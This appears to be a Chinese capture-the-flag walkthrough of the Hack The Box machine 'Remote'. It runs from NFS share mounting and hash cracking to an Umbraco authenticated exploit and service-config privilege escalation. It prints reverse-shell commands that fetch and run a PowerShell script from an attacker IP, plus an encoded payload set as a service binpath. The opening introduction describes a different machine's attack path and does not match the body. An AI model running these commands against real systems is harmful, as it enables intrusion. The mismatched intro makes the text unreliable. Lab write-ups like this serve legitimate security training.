靶机介绍：

Magic有两个常见步骤，一个SQLI来绕过登录，一个webshell上传，带有双扩展名来绕过过滤。从那里，我可以获得一个shell，并在数据库中查找凭证，然后切换到user。为了获得根目录，有一个二进制文件在没有完整路径的情况下调用popen，这使它容易受到路径劫持攻击。在Beyond Root中，我将查看导致执行. PHP .png文件的Apache配置、过滤上传的PHP代码以及suid二进制文件的源代码。

信息收集：

1.首先使用nmap进行端口扫描。发现开启了135，5985、139、80端口。

2. 利用nmap进行深度扫描，发现FTP，SMB，HTTP和NFS服务正在运行。

3.查看web页面。

4.发现都存在umbraco这个词。在页面底端也发现了这个词。

5、通过搜索引擎搜索，发现其为一个cms。

通过目录扫描，发现存在/umbraco这个目录。

6.之前使用nmap深度扫描，发现其存在NFS服务。

7、然后使用showmount查看目标主机NFS共享的文件夹，发现存在可访问的/site_backups文件夹，然后将其挂载到本地。

8、查看site_backups文件夹中的信息，

在APP_Data目录下发现了sdf数据库文件信息，然后利用strings枚举该文件。

发现存在经过SHA1和HMACSHA256算法生成的hash值。然后使用hashcat进行解密。

使用find命令，搜索到了用户的邮箱。

9、使用邮箱账户和解密出来的密码进行登录。发现其是7.12.4版本。

漏洞利用：

1、然后就使用searchsplit搜索可用的EXP。

2、然后对其进行修改。添加邮箱和密码。

使用nishang进行反弹shell，在文件最底下加上Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -Port 4444.

3、然后执行命令。

python3 exploit.py -u [email protected] -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a "iex(new-object net.webclient).downloadstring('http://10.10.16.3/Invoke-PowerShellTcp.ps1')"

4、在nishang文件下，开启http服务。

5、使用nc监听4444端口，成功反弹shell。

然后进入Users目录下。

6、发现存在public目录，使用dir查看存在user.txt。成功找到第一个flag。

权限提升：

1.使用systeminfo查看主机信息。

2.使用whoami/priv 查看当前用户权限。

3. 使用sc命令枚举存在缺陷的服务，发现UsoSvc服务可以被当前用户控制。

4. 使用echo "IEX( IWR http://10.10.16.3/Invoke-PowerShellTcp.ps1 -UseBasicParsing)" | iconv -t utf-16le|base64 -w 0，来生成poc。

5使用sc.exe config UsoSvc binpath= "cmd.exe /c powershell.exe -EncodedCommand SQBFAFgAKAAgAEkAVwBSACAAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADYALgAzAC8ASQBuAHYAbwBrAGUALQBQAG8AdwBlAHIAUwBoAGUAbABsAFQAYwBwAC4AcABzADEAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkACgA="。来弹shell。

6.继续使用nc监听4444端口。成功反弹shell。

7.到了最后就是找flag的环节，先进入user目录下，找到了Administrator目录。接着进入Desktop，查看root.txt。成功找到最后一个靶标。

总结：

接着就做一个总结：首先利用nmap进行扫描端口，然后对其进行深度扫描。发现其开启了NFS服务，然后就共享文件夹挂载到本地。在访问主页，发现是国外的cms。然后使用gobuster爆破后台地址。使用共享文件夹中的邮箱用户和hashcat枚举出的密码，进行登录。接着发现cms版本信息。使用searchsploit搜索exp，发现存在一个可用的exp。修改exp，然后利用它得到一个低权限的shell。接下来发现sc命令存在缺陷，利用sc成功进行提权。靶机的大致过程就是这些了。还有一些别的提权思路，有机会在尝试一下别的思路。

喜欢本文就给我点个赞吧！

原文始发于微信公众号（亿人安全）：HTB:remote渗透测试